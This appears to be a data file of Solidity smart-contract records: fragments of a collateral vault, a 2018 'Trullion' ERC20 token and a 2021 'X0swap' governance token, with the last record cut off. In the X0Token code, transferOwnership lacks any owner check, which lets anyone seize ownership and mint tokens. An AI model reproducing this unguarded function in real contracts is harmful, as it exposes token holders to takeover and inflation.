Calculates position's utilization ratio * @param mainUsdValue USD value of main collateral, q112 format * @param debt USDP borrowed * @return utilization ratio of a position **/ function UR(uint mainUsdValue, uint debt) public override pure returns (uint) { return debt.mul(100).mul(Q112).div(mainUsdValue); } }
Withdraws main collateral from a position asset The address of the main collateral token user The address of a position's owner amount The amount of tokens to withdraw/
function withdrawMain(address asset, address user, uint amount) external hasVaultAccess notLiquidating(asset, user) { collaterals[asset][user] = collaterals[asset][user].sub(amount); TransferHelper.safeTransfer(asset, user, amount); }
276,414
/* file: Trullion.sol ver: 0.0.1_deploy author: Trivillon date: 24-Nov-2018 email: [email protected] Licence ------- (c) 2018 Everus-Trullion Release Notes ------------- * Trullion Based in Kualalumpur, Malaysia , we're blessed with strong rule of law, and great beaches. Welcome to Trullion. * This contract is TRU, GOLD as an ERC20 token. * see https://Everus.org/ for further information */ pragma solidity ^0.4.17; contract TRUConfig { // ERC20 token name string public constant name = "Trullion-e"; // ERC20 trading symbol string public constant symbol = "Tru-e"; // Contract owner at time of deployment. address public constant OWNER = 0x262f01741f2b6e6fda97bce85a6756a89c099e43; // Contract 2nd admin address public constant ADMIN_TOO = 0x262f01741f2b6e6fda97bce85a6756a89c099e43; // Opening Supply uint public constant TOTAL_TOKENS = 0 ; // ERC20 decimal places uint8 public constant decimals = 8; } library SafeMath { // a add to b function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); } // a subtract b function sub(uint a, uint b) internal pure returns (uint c) { c = a - b; assert(c <= a); } // a multiplied by b function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; assert(a == 0 || c / a == b); } // a divided by b function div(uint a, uint b) internal pure returns (uint c) { assert(b != 0); c = a / b; } } contract ReentryProtected { // The reentry protection state mutex. bool __reMutex; // Sets and clears mutex in order to block function reentry modifier preventReentry() { require(!__reMutex); __reMutex = true; _; delete __reMutex; } // Blocks function entry if mutex is set modifier noReentry() { require(!__reMutex); _; } } contract ERC20Token { using SafeMath for uint; /* Constants */ // none /* State variable */ /// @return The Total supply of tokens uint public totalSupply; /// @return Tokens owned by an address mapping (address => uint) balances; /// @return Tokens spendable by a thridparty mapping (address => mapping (address => uint)) allowed; /* Events */ // Triggered when tokens are transferred. event Transfer( address indexed _from, address indexed _to, uint256 _amount); // Triggered whenever approve(address _spender, uint256 _amount) is called. event Approval( address indexed _owner, address indexed _spender, uint256 _amount); /* Modifiers */ // none /* Functions */ // Using an explicit getter allows for function overloading function balanceOf(address _addr) public view returns (uint) { return balances[_addr]; } // Quick checker on total supply function currentSupply() public view returns (uint) { return totalSupply; } // Using an explicit getter allows for function overloading function allowance(address _owner, address _spender) public returns (uint) { return allowed[_owner][_spender]; } // Send _value amount of tokens to address _to function transfer(address _to, uint256 _amount) public returns (bool) { return xfer(msg.sender, _to, _amount); } // Send _value amount of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) { require(_amount <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); return xfer(_from, _to, _amount); } // Process a transfer internally. function xfer(address _from, address _to, uint _amount) internal returns (bool) { require(_amount <= balances[_from]); emit Transfer(_from, _to, _amount); // avoid wasting gas on 0 token transfers if(_amount == 0) return true; balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); return true; } // Approves a third-party spender function approve(address _spender, uint256 _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } } contract TRUAbstract { /// @dev Logged when new owner accepts ownership /// @param _from the old owner address /// @param _to the new owner address event ChangedOwner(address indexed _from, address indexed _to); /// @dev Logged when owner initiates a change of ownership /// @param _to the new owner address event ChangeOwnerTo(address indexed _to); /// @dev Logged when new adminToo accepts the role /// @param _from the old owner address /// @param _to the new owner address event ChangedAdminToo(address indexed _from, address indexed _to); /// @dev Logged when owner initiates a change of ownership /// @param _to the new owner address event ChangeAdminToo(address indexed _to); // State Variables // /// @dev An address permissioned to enact owner restricted functions /// @return owner address public owner; /// @dev An address permissioned to take ownership of the contract /// @return new owner address address public newOwner; /// @dev An address used in the withdrawal process /// @return adminToo address public adminToo; /// @dev An address permissioned to become the withdrawal process address /// @return new admin address address public newAdminToo; // // Modifiers // modifier onlyOwner() { require(msg.sender == owner); _; } // // Function Abstracts // /// @notice Make bulk transfer of tokens to many addresses (Automic drop) /// @param _addrs An array of recipient addresses /// @param _amounts An array of amounts to transfer to respective addresses /// @return Boolean success value function transferToMany(address[] _addrs, uint[] _amounts) public returns (bool); /// @notice Salvage `_amount` tokens at `_kaddr` and send them to `_to` /// @param _kAddr An ERC20 contract address /// @param _to and address to send tokens /// @param _amount The number of tokens to transfer /// @return Boolean success value function transferExternalToken(address _kAddr, address _to, uint _amount) public returns (bool); } /*-----------------------------------------------------------------------------\ BTCR implementation \*----------------------------------------------------------------------------*/ contract TRU is ReentryProtected, ERC20Token, TRUAbstract, TRUConfig { using SafeMath for uint; // // Constants // // Token fixed point for decimal places uint constant TOKEN = uint(10)**decimals; // // Functions // constructor() public { owner = OWNER; adminToo = ADMIN_TOO; totalSupply = TOTAL_TOKENS.mul(TOKEN); balances[owner] = totalSupply; } // Default function. function () public payable { // nothing to see here, folks.... } // // Manage supply // event DecreaseSupply(address indexed burner, uint256 value); event IncreaseSupply(address indexed burner, uint256 value); /** * @dev lowers the supply by a specified amount of tokens. * @param _value The amount of tokens to lower the supply by. */ function decreaseSupply(uint256 _value) public onlyOwner { require(_value > 0); address burner = adminToo; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit DecreaseSupply(msg.sender, _value); } function increaseSupply(uint256 _value) public onlyOwner { require(_value > 0); totalSupply = totalSupply.add(_value); balances[owner] = balances[owner].add(_value); emit IncreaseSupply(msg.sender, _value); } // // ERC20 additional functions // // Allows a sender to transfer tokens to an array of recipients function transferToMany(address[] _addrs, uint[] _amounts) public noReentry returns (bool) { require(_addrs.length == _amounts.length); uint len = _addrs.length; for(uint i = 0; i < len; i++) { xfer(msg.sender, _addrs[i], _amounts[i]); } return true; } // Overload placeholder - could apply further logic function xfer(address _from, address _to, uint _amount) internal noReentry returns (bool) { super.xfer(_from, _to, _amount); return true; } // // Contract management functions // // Initiate a change of owner to `_owner` function changeOwner(address _owner) public onlyOwner returns (bool) { emit ChangeOwnerTo(_owner); newOwner = _owner; return true; } // Finalise change of ownership to newOwner function acceptOwnership() public returns (bool) { require(msg.sender == newOwner); emit ChangedOwner(owner, msg.sender); owner = newOwner; delete newOwner; return true; } // Initiate a change of 2nd admin to _adminToo function changeAdminToo(address _adminToo) public onlyOwner returns (bool) { emit ChangeAdminToo(_adminToo); newAdminToo = _adminToo; return true; } // Finalise change of 2nd admin to newAdminToo function acceptAdminToo() public returns (bool) { require(msg.sender == newAdminToo); emit ChangedAdminToo(adminToo, msg.sender); adminToo = newAdminToo; delete newAdminToo; return true; } // Owner can salvage ERC20 tokens that may have been sent to the account function transferExternalToken(address _kAddr, address _to, uint _amount) public onlyOwner preventReentry returns (bool) { require(ERC20Token(_kAddr).transfer(_to, _amount)); return true; } }
Default function. nothing to see here, folks....
function () public payable { } event DecreaseSupply(address indexed burner, uint256 value); event IncreaseSupply(address indexed burner, uint256 value);
1,071,547
/** *Submitted for verification at Etherscan.io on 2021-09-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity 0.6.12; // X0Token with Governance. contract X0Token is ERC20("X0swap Token", "X0"), Ownable { uint256 constant public maxSupply = 153000000000000000000000000; function mint(address _to, uint256 _amount) public onlyOwner { require(maxSupply > 0, "X0Token: Max Supply hasn't been set"); require(totalSupply() <= maxSupply.sub(_amount), "X0Token: Max Supply has been reached"); _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } function transfer(address _to, uint256 _amount) public returns (bool) { _transfer(_msgSender(), _to, _amount); _moveDelegates(_delegates[msg.sender], _delegates[_to], _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) { _transfer(_from, _to, _amount); _approve(_from, _msgSender(), _allowances[_from][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); _moveDelegates(_delegates[_from], _delegates[_to], _amount); return true; } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol // @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "X0::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "X0::delegateBySig: invalid nonce"); require(now <= expiry, "X0::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "X0::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying X0 (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "X0::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return 